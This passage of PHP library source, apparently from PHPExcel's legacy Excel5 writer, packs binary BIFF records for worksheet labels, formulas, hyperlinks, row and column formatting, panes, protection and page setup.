/** * Write a string to the specified row and column (zero indexed). * NOTE: there is an Excel 5 defined limit of 255 characters. * $format is optional. * Returns 0 : normal termination * -2 : row or column out of range * -3 : long string truncated to 255 chars * * @access public * @param integer $row Zero indexed row * @param integer $col Zero indexed column * @param string $str The string to write * @param mixed $xfIndex The XF format index for the cell * @return integer */ private function writeLabel($row, $col, $str, $xfIndex) { $strlen = strlen($str); $record = 0x0204; // Record identifier $length = 0x0008 + $strlen; // Bytes to follow $str_error = 0; if ($strlen > $this->xlsStringMaxLength) { // LABEL must be < 255 chars $str = substr($str, 0, $this->xlsStringMaxLength); $length = 0x0008 + $this->xlsStringMaxLength; $strlen = $this->xlsStringMaxLength; $str_error = -3; } $header = pack("vv", $record, $length); $data = pack("vvvv", $row, $col, $xfIndex, $strlen); $this->append($header . $data . $str); return($str_error); } /** * Write a string to the specified row and column (zero indexed). * This is the BIFF8 version (no 255 chars limit). * $format is optional. * Returns 0 : normal termination * -2 : row or column out of range * -3 : long string truncated to 255 chars * * @access public * @param integer $row Zero indexed row * @param integer $col Zero indexed column * @param string $str The string to write * @param mixed $xfIndex The XF format index for the cell * @return integer */ private function writeLabelSst($row, $col, $str, $xfIndex) { $record = 0x00FD; // Record identifier $length = 0x000A; // Bytes to follow $str = PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($str); /* check if string is already present */ if (!isset($this->stringTable[$str])) { $this->stringTable[$str] = $this->stringUnique++; } $this->stringTotal++; $header = pack('vv', $record, $length); $data = pack('vvvV', $row, $col, $xfIndex, $this->stringTable[$str]); $this->append($header.$data); } /** * Writes a note associated with the cell given by the row and column. * NOTE records don't have a length limit. * * @param integer $row Zero indexed row * @param integer $col Zero indexed column * @param string $note The note to write */ private function writeNote($row, $col, $note) { $note_length = strlen($note); $record = 0x001C; // Record identifier $max_length = 2048; // Maximun length for a NOTE record // Length for this record is no more than 2048 + 6 $length = 0x0006 + min($note_length, 2048); $header = pack("vv", $record, $length); $data = pack("vvv", $row, $col, $note_length); $this->append($header . $data . substr($note, 0, 2048)); for ($i = $max_length; $i < $note_length; $i += $max_length) { $chunk = substr($note, $i, $max_length); $length = 0x0006 + strlen($chunk); $header = pack("vv", $record, $length); $data = pack("vvv", -1, 0, strlen($chunk)); $this->append($header.$data.$chunk); } return(0); } /** * Write a blank cell to the specified row and column (zero indexed). * A blank cell is used to specify formatting without adding a string * or a number. * * A blank cell without a format serves no purpose. Therefore, we don't write * a BLANK record unless a format is specified. * * Returns 0 : normal termination (including no format) * -1 : insufficient number of arguments * -2 : row or column out of range * * @param integer $row Zero indexed row * @param integer $col Zero indexed column * @param mixed $xfIndex The XF format index */ public function writeBlank($row, $col, $xfIndex) { $record = 0x0201; // Record identifier $length = 0x0006; // Number of bytes to follow $header = pack("vv", $record, $length); $data = pack("vvv", $row, $col, $xfIndex); $this->append($header . $data); return 0; } /** * Write a boolean or an error type to the specified row and column (zero indexed) * * @param int $row Row index (0-based) * @param int $col Column index (0-based) * @param int $value * @param boolean $isError Error or Boolean? * @param int $xfIndex */ private function writeBoolErr($row, $col, $value, $isError, $xfIndex) { $record = 0x0205; $length = 8; $header = pack("vv", $record, $length); $data = pack("vvvCC", $row, $col, $xfIndex, $value, $isError); $this->append($header . $data); return 0; } /** * Write a formula to the specified row and column (zero indexed). * The textual representation of the formula is passed to the parser in * Parser.php which returns a packed binary string. * * Returns 0 : normal termination * -1 : formula errors (bad formula) * -2 : row or column out of range * * @param integer $row Zero indexed row * @param integer $col Zero indexed column * @param string $formula The formula text string * @param mixed $xfIndex The XF format index * @param mixed $calculatedValue Calculated value * @return integer */ private function writeFormula($row, $col, $formula, $xfIndex, $calculatedValue) { $record = 0x0006; // Record identifier // Initialize possible additional value for STRING record that should be written after the FORMULA record? $stringValue = null; // calculated value if (isset($calculatedValue)) { // Since we can't yet get the data type of the calculated value, // we use best effort to determine data type if (is_bool($calculatedValue)) { // Boolean value $num = pack('CCCvCv', 0x01, 0x00, (int)$calculatedValue, 0x00, 0x00, 0xFFFF); } elseif (is_int($calculatedValue) || is_float($calculatedValue)) { // Numeric value $num = pack('d', $calculatedValue); } elseif (is_string($calculatedValue)) { if (array_key_exists($calculatedValue, PHPExcel_Cell_DataType::getErrorCodes())) { // Error value $num = pack('CCCvCv', 0x02, 0x00, self::mapErrorCode($calculatedValue), 0x00, 0x00, 0xFFFF); } elseif ($calculatedValue === '') { // Empty string (and BIFF8) $num = pack('CCCvCv', 0x03, 0x00, 0x00, 0x00, 0x00, 0xFFFF); } else { // Non-empty string value (or empty string BIFF5) $stringValue = $calculatedValue; $num = pack('CCCvCv', 0x00, 0x00, 0x00, 0x00, 0x00, 0xFFFF); } } else { // We are really not supposed to reach here $num = pack('d', 0x00); } } else { $num = pack('d', 0x00); } $grbit = 0x03; // Option flags $unknown = 0x0000; // Must be zero // Strip the '=' or '@' sign at the beginning of the formula string if ($formula{0} == '=') { $formula = substr($formula, 1); } else { // Error handling $this->writeString($row, $col, 'Unrecognised character for formula'); return -1; } // Parse the formula using the parser in Parser.php try { $error = $this->parser->parse($formula); $formula = $this->parser->toReversePolish(); $formlen = strlen($formula); // Length of the binary string $length = 0x16 + $formlen; // Length of the record data $header = pack("vv", $record, $length); $data = pack("vvv", $row, $col, $xfIndex) . $num . pack("vVv", $grbit, $unknown, $formlen); $this->append($header . $data . $formula); // Append also a STRING record if necessary if ($stringValue !== null) { $this->writeStringRecord($stringValue); } return 0; } catch (PHPExcel_Exception $e) { // do nothing } } /** * Write a STRING record. This * * @param string $stringValue */ private function writeStringRecord($stringValue) { $record = 0x0207; // Record identifier $data = PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($stringValue); $length = strlen($data); $header = pack('vv', $record, $length); $this->append($header . $data); } /** * Write a hyperlink. * This is comprised of two elements: the visible label and * the invisible link. The visible label is the same as the link unless an * alternative string is specified. The label is written using the * writeString() method. Therefore the 255 characters string limit applies. * $string and $format are optional. * * The hyperlink can be to a http, ftp, mail, internal sheet (not yet), or external * directory url. * * Returns 0 : normal termination * -2 : row or column out of range * -3 : long string truncated to 255 chars * * @param integer $row Row * @param integer $col Column * @param string $url URL string * @return integer */ private function writeUrl($row, $col, $url) { // Add start row and col to arg list return($this->writeUrlRange($row, $col, $row, $col, $url)); } /** * This is the more general form of writeUrl(). It allows a hyperlink to be * written to a range of cells. This function also decides the type of hyperlink * to be written. These are either, Web (http, ftp, mailto), Internal * (Sheet1!A1) or external ('c:\temp\foo.xls#Sheet1!A1'). * * @access private * @see writeUrl() * @param integer $row1 Start row * @param integer $col1 Start column * @param integer $row2 End row * @param integer $col2 End column * @param string $url URL string * @return integer */ public function writeUrlRange($row1, $col1, $row2, $col2, $url) { // Check for internal/external sheet links or default to web link if (preg_match('[^internal:]', $url)) { return($this->writeUrlInternal($row1, $col1, $row2, $col2, $url)); } if (preg_match('[^external:]', $url)) { return($this->writeUrlExternal($row1, $col1, $row2, $col2, $url)); } return($this->writeUrlWeb($row1, $col1, $row2, $col2, $url)); } /** * Used to write http, ftp and mailto hyperlinks. * The link type ($options) is 0x03 is the same as absolute dir ref without * sheet. However it is differentiated by the $unknown2 data stream. * * @access private * @see writeUrl() * @param integer $row1 Start row * @param integer $col1 Start column * @param integer $row2 End row * @param integer $col2 End column * @param string $url URL string * @return integer */ public function writeUrlWeb($row1, $col1, $row2, $col2, $url) { $record = 0x01B8; // Record identifier $length = 0x00000; // Bytes to follow // Pack the undocumented parts of the hyperlink stream $unknown1 = pack("H*", "D0C9EA79F9BACE118C8200AA004BA90B02000000"); $unknown2 = pack("H*", "E0C9EA79F9BACE118C8200AA004BA90B"); // Pack the option flags $options = pack("V", 0x03); // Convert URL to a null terminated wchar string $url = join("\0", preg_split("''", $url, -1, PREG_SPLIT_NO_EMPTY)); $url = $url . "\0\0\0"; // Pack the length of the URL $url_len = pack("V", strlen($url)); // Calculate the data length $length = 0x34 + strlen($url); // Pack the header data $header = pack("vv", $record, $length); $data = pack("vvvv", $row1, $row2, $col1, $col2); // Write the packed data $this->append($header . $data . $unknown1 . $options . $unknown2 . $url_len . $url); return 0; } /** * Used to write internal reference hyperlinks such as "Sheet1!A1". * * @access private * @see writeUrl() * @param integer $row1 Start row * @param integer $col1 Start column * @param integer $row2 End row * @param integer $col2 End column * @param string $url URL string * @return integer */ public function writeUrlInternal($row1, $col1, $row2, $col2, $url) { $record = 0x01B8; // Record identifier $length = 0x00000; // Bytes to follow // Strip URL type $url = preg_replace('/^internal:/', '', $url); // Pack the undocumented parts of the hyperlink stream $unknown1 = pack("H*", "D0C9EA79F9BACE118C8200AA004BA90B02000000"); // Pack the option flags $options = pack("V", 0x08); // Convert the URL type and to a null terminated wchar string $url .= "\0"; // character count $url_len = PHPExcel_Shared_String::CountCharacters($url); $url_len = pack('V', $url_len); $url = PHPExcel_Shared_String::ConvertEncoding($url, 'UTF-16LE', 'UTF-8'); // Calculate the data length $length = 0x24 + strlen($url); // Pack the header data $header = pack("vv", $record, $length); $data = pack("vvvv", $row1, $row2, $col1, $col2); // Write the packed data $this->append($header . $data . $unknown1 . $options . $url_len . $url); return 0; } /** * Write links to external directory names such as 'c:\foo.xls', * c:\foo.xls#Sheet1!A1', '../../foo.xls'. and '../../foo.xls#Sheet1!A1'. * * Note: Excel writes some relative links with the $dir_long string. We ignore * these cases for the sake of simpler code. * * @access private * @see writeUrl() * @param integer $row1 Start row * @param integer $col1 Start column * @param integer $row2 End row * @param integer $col2 End column * @param string $url URL string * @return integer */ public function writeUrlExternal($row1, $col1, $row2, $col2, $url) { // Network drives are different. We will handle them separately // MS/Novell network drives and shares start with \\ if (preg_match('[^external:\\\\]', $url)) { return; //($this->writeUrlExternal_net($row1, $col1, $row2, $col2, $url, $str, $format)); } $record = 0x01B8; // Record identifier $length = 0x00000; // Bytes to follow // Strip URL type and change Unix dir separator to Dos style (if needed) // $url = preg_replace('/^external:/', '', $url); $url = preg_replace('/\//', "\\", $url); // Determine if the link is relative or absolute: // relative if link contains no dir separator, "somefile.xls" // relative if link starts with up-dir, "..\..\somefile.xls" // otherwise, absolute $absolute = 0x00; // relative path if (preg_match('/^[A-Z]:/', $url)) { $absolute = 0x02; // absolute path on Windows, e.g. C:\... } $link_type = 0x01 | $absolute; // Determine if the link contains a sheet reference and change some of the // parameters accordingly. // Split the dir name and sheet name (if it exists) $dir_long = $url; if (preg_match("/\#/", $url)) { $link_type |= 0x08; } // Pack the link type $link_type = pack("V", $link_type); // Calculate the up-level dir count e.g.. (..\..\..\ == 3) $up_count = preg_match_all("/\.\.\\\/", $dir_long, $useless); $up_count = pack("v", $up_count); // Store the short dos dir name (null terminated) $dir_short = preg_replace("/\.\.\\\/", '', $dir_long) . "\0"; // Store the long dir name as a wchar string (non-null terminated) $dir_long = $dir_long . "\0"; // Pack the lengths of the dir strings $dir_short_len = pack("V", strlen($dir_short)); $dir_long_len = pack("V", strlen($dir_long)); $stream_len = pack("V", 0); //strlen($dir_long) + 0x06); // Pack the undocumented parts of the hyperlink stream $unknown1 = pack("H*", 'D0C9EA79F9BACE118C8200AA004BA90B02000000'); $unknown2 = pack("H*", '0303000000000000C000000000000046'); $unknown3 = pack("H*", 'FFFFADDE000000000000000000000000000000000000000'); $unknown4 = pack("v", 0x03); // Pack the main data stream $data = pack("vvvv", $row1, $row2, $col1, $col2) . $unknown1 . $link_type . $unknown2 . $up_count . $dir_short_len. $dir_short . $unknown3 . $stream_len ;/*. $dir_long_len . $unknown4 . $dir_long . $sheet_len . $sheet ;*/ // Pack the header data $length = strlen($data); $header = pack("vv", $record, $length); // Write the packed data $this->append($header. $data); return 0; } /** * This method is used to set the height and format for a row. * * @param integer $row The row to set * @param integer $height Height we are giving to the row. * Use null to set XF without setting height * @param integer $xfIndex The optional cell style Xf index to apply to the columns * @param bool $hidden The optional hidden attribute * @param integer $level The optional outline level for row, in range [0,7] */ private function writeRow($row, $height, $xfIndex, $hidden = false, $level = 0) { $record = 0x0208; // Record identifier $length = 0x0010; // Number of bytes to follow $colMic = 0x0000; // First defined column $colMac = 0x0000; // Last defined column $irwMac = 0x0000; // Used by Excel to optimise loading $reserved = 0x0000; // Reserved $grbit = 0x0000; // Option flags $ixfe = $xfIndex; if ($height < 0) { $height = null; } // Use writeRow($row, null, $XF) to set XF format without setting height if ($height != null) { $miyRw = $height * 20; // row height } else { $miyRw = 0xff; // default row height is 256 } // Set the options flags. fUnsynced is used to show that the font and row // heights are not compatible. This is usually the case for WriteExcel. // The collapsed flag 0x10 doesn't seem to be used to indicate that a row // is collapsed. Instead it is used to indicate that the previous row is // collapsed. The zero height flag, 0x20, is used to collapse a row. $grbit |= $level; if ($hidden) { $grbit |= 0x0030; } if ($height !== null) { $grbit |= 0x0040; // fUnsynced } if ($xfIndex !== 0xF) { $grbit |= 0x0080; } $grbit |= 0x0100; $header = pack("vv", $record, $length); $data = pack("vvvvvvvv", $row, $colMic, $colMac, $miyRw, $irwMac, $reserved, $grbit, $ixfe); $this->append($header.$data); } /** * Writes Excel DIMENSIONS to define the area in which there is data. */ private function writeDimensions() { $record = 0x0200; // Record identifier $length = 0x000E; $data = pack('VVvvv', $this->firstRowIndex, $this->lastRowIndex + 1, $this->firstColumnIndex, $this->lastColumnIndex + 1, 0x0000); // reserved $header = pack("vv", $record, $length); $this->append($header.$data); } /** * Write BIFF record Window2. */ private function writeWindow2() { $record = 0x023E; // Record identifier $length = 0x0012; $grbit = 0x00B6; // Option flags $rwTop = 0x0000; // Top row visible in window $colLeft = 0x0000; // Leftmost column visible in window // The options flags that comprise $grbit $fDspFmla = 0; // 0 - bit $fDspGrid = $this->phpSheet->getShowGridlines() ? 1 : 0; // 1 $fDspRwCol = $this->phpSheet->getShowRowColHeaders() ? 1 : 0; // 2 $fFrozen = $this->phpSheet->getFreezePane() ? 1 : 0; // 3 $fDspZeros = 1; // 4 $fDefaultHdr = 1; // 5 $fArabic = $this->phpSheet->getRightToLeft() ? 1 : 0; // 6 $fDspGuts = $this->outlineOn; // 7 $fFrozenNoSplit = 0; // 0 - bit // no support in PHPExcel for selected sheet, therefore sheet is only selected if it is the active sheet $fSelected = ($this->phpSheet === $this->phpSheet->getParent()->getActiveSheet()) ? 1 : 0; $fPaged = 1; // 2 $fPageBreakPreview = $this->phpSheet->getSheetView()->getView() === PHPExcel_Worksheet_SheetView::SHEETVIEW_PAGE_BREAK_PREVIEW; $grbit = $fDspFmla; $grbit |= $fDspGrid << 1; $grbit |= $fDspRwCol << 2; $grbit |= $fFrozen << 3; $grbit |= $fDspZeros << 4; $grbit |= $fDefaultHdr << 5; $grbit |= $fArabic << 6; $grbit |= $fDspGuts << 7; $grbit |= $fFrozenNoSplit << 8; $grbit |= $fSelected << 9; $grbit |= $fPaged << 10; $grbit |= $fPageBreakPreview << 11; $header = pack("vv", $record, $length); $data = pack("vvv", $grbit, $rwTop, $colLeft); // FIXME !!! $rgbHdr = 0x0040; // Row/column heading and gridline color index $zoom_factor_page_break = ($fPageBreakPreview ? $this->phpSheet->getSheetView()->getZoomScale() : 0x0000); $zoom_factor_normal = $this->phpSheet->getSheetView()->getZoomScaleNormal(); $data .= pack("vvvvV", $rgbHdr, 0x0000, $zoom_factor_page_break, $zoom_factor_normal, 0x00000000); $this->append($header.$data); } /** * Write BIFF record DEFAULTROWHEIGHT. */ private function writeDefaultRowHeight() { $defaultRowHeight = $this->phpSheet->getDefaultRowDimension()->getRowHeight(); if ($defaultRowHeight < 0) { return; } // convert to twips $defaultRowHeight = (int) 20 * $defaultRowHeight; $record = 0x0225; // Record identifier $length = 0x0004; // Number of bytes to follow $header = pack("vv", $record, $length); $data = pack("vv", 1, $defaultRowHeight); $this->append($header . $data); } /** * Write BIFF record DEFCOLWIDTH if COLINFO records are in use. */ private function writeDefcol() { $defaultColWidth = 8; $record = 0x0055; // Record identifier $length = 0x0002; // Number of bytes to follow $header = pack("vv", $record, $length); $data = pack("v", $defaultColWidth); $this->append($header . $data); } /** * Write BIFF record COLINFO to define column widths * * Note: The SDK says the record length is 0x0B but Excel writes a 0x0C * length record. * * @param array $col_array This is the only parameter received and is composed of the following: * 0 => First formatted column, * 1 => Last formatted column, * 2 => Col width (8.43 is Excel default), * 3 => The optional XF format of the column, * 4 => Option flags. * 5 => Optional outline level */ private function writeColinfo($col_array) { if (isset($col_array[0])) { $colFirst = $col_array[0]; } if (isset($col_array[1])) { $colLast = $col_array[1]; } if (isset($col_array[2])) { $coldx = $col_array[2]; } else { $coldx = 8.43; } if (isset($col_array[3])) { $xfIndex = $col_array[3]; } else { $xfIndex = 15; } if (isset($col_array[4])) { $grbit = $col_array[4]; } else { $grbit = 0; } if (isset($col_array[5])) { $level = $col_array[5]; } else { $level = 0; } $record = 0x007D; // Record identifier $length = 0x000C; // Number of bytes to follow $coldx *= 256; // Convert to units of 1/256 of a char $ixfe = $xfIndex; $reserved = 0x0000; // Reserved $level = max(0, min($level, 7)); $grbit |= $level << 8; $header = pack("vv", $record, $length); $data = pack("vvvvvv", $colFirst, $colLast, $coldx, $ixfe, $grbit, $reserved); $this->append($header.$data); } /** * Write BIFF record SELECTION. */ private function writeSelection() { // look up the selected cell range $selectedCells = $this->phpSheet->getSelectedCells(); $selectedCells = PHPExcel_Cell::splitRange($this->phpSheet->getSelectedCells()); $selectedCells = $selectedCells[0]; if (count($selectedCells) == 2) { list($first, $last) = $selectedCells; } else { $first = $selectedCells[0]; $last = $selectedCells[0]; } list($colFirst, $rwFirst) = PHPExcel_Cell::coordinateFromString($first); $colFirst = PHPExcel_Cell::columnIndexFromString($colFirst) - 1; // base 0 column index --$rwFirst; // base 0 row index list($colLast, $rwLast) = PHPExcel_Cell::coordinateFromString($last); $colLast = PHPExcel_Cell::columnIndexFromString($colLast) - 1; // base 0 column index --$rwLast; // base 0 row index // make sure we are not out of bounds $colFirst = min($colFirst, 255); $colLast = min($colLast, 255); $rwFirst = min($rwFirst, 65535); $rwLast = min($rwLast, 65535); $record = 0x001D; // Record identifier $length = 0x000F; // Number of bytes to follow $pnn = $this->activePane; // Pane position $rwAct = $rwFirst; // Active row $colAct = $colFirst; // Active column $irefAct = 0; // Active cell ref $cref = 1; // Number of refs if (!isset($rwLast)) { $rwLast = $rwFirst; // Last row in reference } if (!isset($colLast)) { $colLast = $colFirst; // Last col in reference } // Swap last row/col for first row/col as necessary if ($rwFirst > $rwLast) { list($rwFirst, $rwLast) = array($rwLast, $rwFirst); } if ($colFirst > $colLast) { list($colFirst, $colLast) = array($colLast, $colFirst); } $header = pack("vv", $record, $length); $data = pack("CvvvvvvCC", $pnn, $rwAct, $colAct, $irefAct, $cref, $rwFirst, $rwLast, $colFirst, $colLast); $this->append($header . $data); } /** * Store the MERGEDCELLS records for all ranges of merged cells */ private function writeMergedCells() { $mergeCells = $this->phpSheet->getMergeCells(); $countMergeCells = count($mergeCells); if ($countMergeCells == 0) { return; } // maximum allowed number of merged cells per record $maxCountMergeCellsPerRecord = 1027; // record identifier $record = 0x00E5; // counter for total number of merged cells treated so far by the writer $i = 0; // counter for number of merged cells written in record currently being written $j = 0; // initialize record data $recordData = ''; // loop through the merged cells foreach ($mergeCells as $mergeCell) { ++$i; ++$j; // extract the row and column indexes $range = PHPExcel_Cell::splitRange($mergeCell); list($first, $last) = $range[0]; list($firstColumn, $firstRow) = PHPExcel_Cell::coordinateFromString($first); list($lastColumn, $lastRow) = PHPExcel_Cell::coordinateFromString($last); $recordData .= pack('vvvv', $firstRow - 1, $lastRow - 1, PHPExcel_Cell::columnIndexFromString($firstColumn) - 1, PHPExcel_Cell::columnIndexFromString($lastColumn) - 1); // flush record if we have reached limit for number of merged cells, or reached final merged cell if ($j == $maxCountMergeCellsPerRecord or $i == $countMergeCells) { $recordData = pack('v', $j) . $recordData; $length = strlen($recordData); $header = pack('vv', $record, $length); $this->append($header . $recordData); // initialize for next record, if any $recordData = ''; $j = 0; } } } /** * Write SHEETLAYOUT record */ private function writeSheetLayout() { if (!$this->phpSheet->isTabColorSet()) { return; } $recordData = pack( 'vvVVVvv', 0x0862, 0x0000, // unused 0x00000000, // unused 0x00000000, // unused 0x00000014, // size of record data $this->colors[$this->phpSheet->getTabColor()->getRGB()], // color index 0x0000 // unused ); $length = strlen($recordData); $record = 0x0862; // Record identifier $header = pack('vv', $record, $length); $this->append($header . $recordData); } /** * Write SHEETPROTECTION */ private function writeSheetProtection() { // record identifier $record = 0x0867; // prepare options $options = (int) !$this->phpSheet->getProtection()->getObjects() | (int) !$this->phpSheet->getProtection()->getScenarios() << 1 | (int) !$this->phpSheet->getProtection()->getFormatCells() << 2 | (int) !$this->phpSheet->getProtection()->getFormatColumns() << 3 | (int) !$this->phpSheet->getProtection()->getFormatRows() << 4 | (int) !$this->phpSheet->getProtection()->getInsertColumns() << 5 | (int) !$this->phpSheet->getProtection()->getInsertRows() << 6 | (int) !$this->phpSheet->getProtection()->getInsertHyperlinks() << 7 | (int) !$this->phpSheet->getProtection()->getDeleteColumns() << 8 | (int) !$this->phpSheet->getProtection()->getDeleteRows() << 9 | (int) !$this->phpSheet->getProtection()->getSelectLockedCells() << 10 | (int) !$this->phpSheet->getProtection()->getSort() << 11 | (int) !$this->phpSheet->getProtection()->getAutoFilter() << 12 | (int) !$this->phpSheet->getProtection()->getPivotTables() << 13 | (int) !$this->phpSheet->getProtection()->getSelectUnlockedCells() << 14 ; // record data $recordData = pack( 'vVVCVVvv', 0x0867, // repeated record identifier 0x0000, // not used 0x0000, // not used 0x00, // not used 0x01000200, // unknown data 0xFFFFFFFF, // unknown data $options, // options 0x0000 // not used ); $length = strlen($recordData); $header = pack('vv', $record, $length); $this->append($header . $recordData); } /** * Write BIFF record RANGEPROTECTION * * Openoffice.org's Documentaion of the Microsoft Excel File Format uses term RANGEPROTECTION for these records * Microsoft Office Excel 97-2007 Binary File Format Specification uses term FEAT for these records */ private function writeRangeProtection() { foreach ($this->phpSheet->getProtectedCells() as $range => $password) { // number of ranges, e.g. 'A1:B3 C20:D25' $cellRanges = explode(' ', $range); $cref = count($cellRanges); $recordData = pack( 'vvVVvCVvVv', 0x0868, 0x00, 0x0000, 0x0000, 0x02, 0x0, 0x0000, $cref, 0x0000, 0x00 ); foreach ($cellRanges as $cellRange) { $recordData .= $this->writeBIFF8CellRangeAddressFixed($cellRange); } // the rgbFeat structure $recordData .= pack( 'VV', 0x0000, hexdec($password) ); $recordData .= PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong('p' . md5($recordData)); $length = strlen($recordData); $record = 0x0868; // Record identifier $header = pack("vv", $record, $length); $this->append($header . $recordData); } } /** * Write BIFF record EXTERNCOUNT to indicate the number of external sheet * references in a worksheet. * * Excel only stores references to external sheets that are used in formulas. * For simplicity we store references to all the sheets in the workbook * regardless of whether they are used or not. This reduces the overall * complexity and eliminates the need for a two way dialogue between the formula * parser the worksheet objects. * * @param integer $count The number of external sheet references in this worksheet */ private function writeExterncount($count) { $record = 0x0016; // Record identifier $length = 0x0002; // Number of bytes to follow $header = pack("vv", $record, $length); $data = pack("v", $count); $this->append($header . $data); } /** * Writes the Excel BIFF EXTERNSHEET record. These references are used by * formulas. A formula references a sheet name via an index. Since we store a * reference to all of the external worksheets the EXTERNSHEET index is the same * as the worksheet index. * * @param string $sheetname The name of a external worksheet */ private function writeExternsheet($sheetname) { $record = 0x0017; // Record identifier // References to the current sheet are encoded differently to references to // external sheets. // if ($this->phpSheet->getTitle() == $sheetname) { $sheetname = ''; $length = 0x02; // The following 2 bytes $cch = 1; // The following byte $rgch = 0x02; // Self reference } else { $length = 0x02 + strlen($sheetname); $cch = strlen($sheetname); $rgch = 0x03; // Reference to a sheet in the current workbook } $header = pack("vv", $record, $length); $data = pack("CC", $cch, $rgch); $this->append($header . $data . $sheetname); } /** * Writes the Excel BIFF PANE record. * The panes can either be frozen or thawed (unfrozen). * Frozen panes are specified in terms of an integer number of rows and columns. * Thawed panes are specified in terms of Excel's units for rows and columns. */ private function writePanes() { $panes = array(); if ($freezePane = $this->phpSheet->getFreezePane()) { list($column, $row) = PHPExcel_Cell::coordinateFromString($freezePane); $panes[0] = $row - 1; $panes[1] = PHPExcel_Cell::columnIndexFromString($column) - 1; } else { // thaw panes return; } $y = isset($panes[0]) ? $panes[0] : null; $x = isset($panes[1]) ? $panes[1] : null; $rwTop = isset($panes[2]) ? $panes[2] : null; $colLeft = isset($panes[3]) ? $panes[3] : null; if (count($panes) > 4) { // if Active pane was received $pnnAct = $panes[4]; } else { $pnnAct = null; } $record = 0x0041; // Record identifier $length = 0x000A; // Number of bytes to follow // Code specific to frozen or thawed panes. if ($this->phpSheet->getFreezePane()) { // Set default values for $rwTop and $colLeft if (!isset($rwTop)) { $rwTop = $y; } if (!isset($colLeft)) { $colLeft = $x; } } else { // Set default values for $rwTop and $colLeft if (!isset($rwTop)) { $rwTop = 0; } if (!isset($colLeft)) { $colLeft = 0; } // Convert Excel's row and column units to the internal units. // The default row height is 12.75 // The default column width is 8.43 // The following slope and intersection values were interpolated. // $y = 20*$y + 255; $x = 113.879*$x + 390; } // Determine which pane should be active. There is also the undocumented // option to override this should it be necessary: may be removed later. // if (!isset($pnnAct)) { if ($x != 0 && $y != 0) { $pnnAct = 0; // Bottom right } if ($x != 0 && $y == 0) { $pnnAct = 1; // Top right } if ($x == 0 && $y != 0) { $pnnAct = 2; // Bottom left } if ($x == 0 && $y == 0) { $pnnAct = 3; // Top left } } $this->activePane = $pnnAct; // Used in writeSelection $header = pack("vv", $record, $length); $data = pack("vvvvv", $x, $y, $rwTop, $colLeft, $pnnAct); $this->append($header . $data); } /** * Store the page setup SETUP BIFF record. */ private function writeSetup() { $record = 0x00A1; // Record identifier $length = 0x0022; // Number of bytes to follow $iPaperSize = $this->phpSheet->getPageSetup()->getPaperSize(); // Paper size $iScale = $this->phpSheet->getPageSetup()->getScale() ? $this->phpSheet->getPageSetup()->getScale() : 100; // Print scaling factor $iPageStart = 0x01; // Starting page number $iFitWidth = (int) $this->phpSheet->getPageSetup()->getFitToWidth(); // Fit to number of pages wide $iFitHeight = (int) $this->phpSheet->getPageSetup()->getFitToHeight(); // Fit to number of pages high $grbit = 0x00; // Option flags $iRes = 0x0258; // Print resolution $iVRes = 0x0258; // Vertical print resolution $numHdr = $this->phpSheet->getPageMargins()->getHeader(); // Header Margin $numFtr = $this->phpSheet->getPageMargins()->getFooter(); // Footer Margin $iCopies = 0x01; // Number of copies $fLeftToRight = 0x0; // Print over then down // Page orientation $fLandscape = ($this->phpSheet->getPageSetup()->getOrientation() == PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE) ? 0x0 : 0x1; $fNoPls = 0x0; // Setup not read from printer $fNoColor = 0x0; // Print black and white $fDraft = 0x0; // Print draft quality $fNotes = 0x0; // Print notes $fNoOrient = 0x0; // Orientation not set $fUsePage = 0x0; // Use custom starting page $grbit = $fLeftToRight; $grbit |= $fLandscape << 1; $grbit |= $fNoPls << 2; $grbit |= $fNoColor << 3; $grbit |= $fDraft << 4; $grbit |= $fNotes << 5; $grbit |= $fNoOrient << 6; $grbit |= $fUsePage << 7; $numHdr = pack("d", $numHdr); $numFtr = pack("d", $numFtr); if (self::getByteOrder()) { // if it's Big Endian $numHdr = strrev($numHdr); $numFtr = strrev($numFtr); } $header = pack("vv", $record, $length); $data1 = pack("vvvvvvvv", $iPaperSize, $iScale, $iPageStart, $iFitWidth, $iFitHeight, $grbit, $iRes, $iVRes); $data2 = $numHdr.$numFtr; $data3 = pack("v", $iCopies); $this->append($header . $data1 . $data2 . $data3); } /** * Store the header caption BIFF record. */ private function writeHeader() { $record = 0x0014; // Record identifier /* removing for now // need to fix character count (multibyte!) if (strlen($this->phpSheet->getHeaderFooter()->getOddHeader()) <= 255) { $str = $this->phpSheet->getHeaderFooter()->getOddHeader(); // header string } else { $str = ''; } */ $recordData = PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($this->phpSheet->getHeaderFooter()->getOddHeader()); $length = strlen($recordData); $header = pack("vv", $record, $length); $this->append($header . $recordData); } /** * Store the footer caption BIFF record. */ private function writeFooter() { $record = 0x0015; // Record identifier /* removing for now // need to fix character count (multibyte!) if (strlen($this->phpSheet->getHeaderFooter()->getOddFooter()) <= 255) { $str = $this->phpSheet->getHeaderFooter()->getOddFooter(); } else { $str = ''; } */ $recordData = PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($this->phpSheet->getHeaderFooter()->getOddFooter()); $length = strlen($recordData); $header = pack("vv", $record, $length); $this->append($header . $recordData); } /** * Store the horizontal centering HCENTER BIFF record. * * @access private */ private function writeHcenter() { $record = 0x0083; // Record identifier $length = 0x0002; // Bytes to follow $fHCenter = $this->phpSheet->getPageSetup()->getHorizontalCentered() ? 1 : 0; // Horizontal centering $header = pack("vv", $record, $length); $data = pack("v", $fHCenter); $this->append($header.$data); } /** * Store the vertical centering VCENTER BIFF record. */ private function writeVcenter() { $record = 0x0084; // Record identifier $length = 0x0002; // Bytes to follow $fVCenter = $this->phpSheet->getPageSetup()->getVerticalCentered() ? 1 : 0; // Horizontal centering $header = pack("vv", $record, $length); $data = pack("v", $fVCenter); $this->append($header . $data); } /** * Store the LEFTMARGIN BIFF record. */ private function writeMarginLeft() { $record = 0x0026; // Record identifier $length = 0x0008; // Bytes to follow $margin = $this->phpSheet->getPageMargins()->getLeft(); // Margin in inches $header = pack("vv", $record, $length); $data = pack("d", $margin); if (self::getByteOrder()) { // if it's Big Endian $data = strrev($data); } $this->append($header . $data); } /** * Store the RIGHTMARGIN BIFF record. */ private function writeMarginRight() { $record = 0x0027; // Record identifier $length = 0x0008; // Bytes to follow $margin = $this->phpSheet->getPageMargins()->getRight(); // Margin in inches $header = pack("vv", $record, $length); $data = pack("d", $margin); if (self::getByteOrder()) { 